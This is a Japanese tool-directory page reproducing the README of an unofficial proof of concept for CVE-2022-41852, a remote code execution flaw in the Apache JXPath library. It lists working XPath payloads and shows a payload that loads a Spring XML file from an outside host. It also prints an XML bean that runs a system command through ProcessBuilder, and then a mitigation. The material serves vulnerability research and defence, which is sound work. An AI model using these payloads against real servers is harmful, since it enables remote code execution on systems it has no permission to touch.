Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-41852 — CVE-2022-41852 概念実証(非公式) | Kitploit
ツール/GitHubGitHub/warxim/cve-2022-41852
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubwarxim/cve-2022-41852

CVE-2022-41852

CVE-2022-41852 概念実証(非公式)

リポジトリを見る
741523年前Kitploit レビュー済み
ウェブサイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

JXPathライブラリにおけるリモートコード実行 (CVE-2022-41852) 概念実証

CVE-2022-41852 は攻撃者がアプリケーションサーバ上でコードを実行することを可能にします。

この脆弱性の詳細はこちらをご覧ください:

  • https://hackinglab.cz/en/blog/remote-code-execution-in-jxpath-library-cve-2022-41852/

注記: 私はこのCVEの作者ではありません。この概念実証を作成したのみです。

便利なリンク

  • JXPath GitHub
  • JXPath Website
  • MITRE CVE-2022-41852
  • NIST CVE-2022-41852

脆弱性の説明

JXPathライブラリはXPath式内で関数を実行する機能をサポートしています。 (公式ユーザーガイドを参照)。

例えば、メソッド JXPathContext.getValue(path) および JXPathContext.iterate(path) は、 ユーザーが path パラメータに入力を送信できる場合、危険です。

PoCの説明

このPoCは、2つのエンドポイントを持つシンプルなSpringサーバを起動します。

  • /vulnerable-example?path=[path]
  • /secure-example?path=[path]

これらのエンドポイントは、クエリパラメータ "path" のみを持ちます。

可能なリクエストURL

以下のリクエストは正常に動作します(問題は発生しません):

  • http://localhost:8080/secure-example?path=name
  • http://localhost:8080/secure-example?path=website
  • http://localhost:8080/secure-example?path=/
  • http://localhost:8080/vulnerable-example?path=name
  • http://localhost:8080/vulnerable-example?path=website
  • http://localhost:8080/vulnerable-example?path=/

以下のリクエストはコードを実行させます:

  • http://localhost:8080/vulnerable-example?path=java.lang.System.exit(42)
  • http://localhost:8080/vulnerable-example?path=java.lang.Thread.sleep(10000)

ペイロード例

CVE-2022-41852 を検出するためのペイロード例:

  • java.lang.System.exit(42)
  • java.lang.Thread.sleep(10000)
  • /|java.lang.System.exit(42)
  • |java.lang.System.exit(42)

コマンドを実行する方法は様々あります。その一つがSpringのClassPathXmlApplicationContextを使用する方法です:

  • org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")

XMLファイルでは、Bean設定を定義できます。例えば、ProcessBuilder のインスタンスを作成し、 start() メソッドを使用してBeanを初期化することで、サーバ上で指定したコマンドを実行できます。 以下の例では、Windowsマシンで電卓が開かれます:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

コンテキストBeanを走査して新しいクラスをロードする方法もあります。例えば、以下のコードはクラス com.warxim.dangerous.DangerousClass をロードし、そのインスタンスを作成してメソッド run("warxim") を呼び出します:

root@kitploit:~
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);

オブジェクトメソッドを呼び出す際には、それらを含むオブジェクトを最初のパラメータとして渡す必要があることに注意してください。

CVE-2022-41852 の回避策

JXPathContextのfunctionsフィールドを空の FunctionLibrary に設定することで、関数を無効にすることが可能です。

root@kitploit:~
// Create path context for person object
var pathContext = JXPathContext.newContext(person);

// Set empty function library
pathContext.setFunctions(new FunctionLibrary());

// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);

注記: すべての関数が無効になるため、size() のような関数も利用できなくなります。

修正

修正は開発中です。https://github.com/apache/commons-jxpath/pull/26 を参照してください。

ツールをダウンロード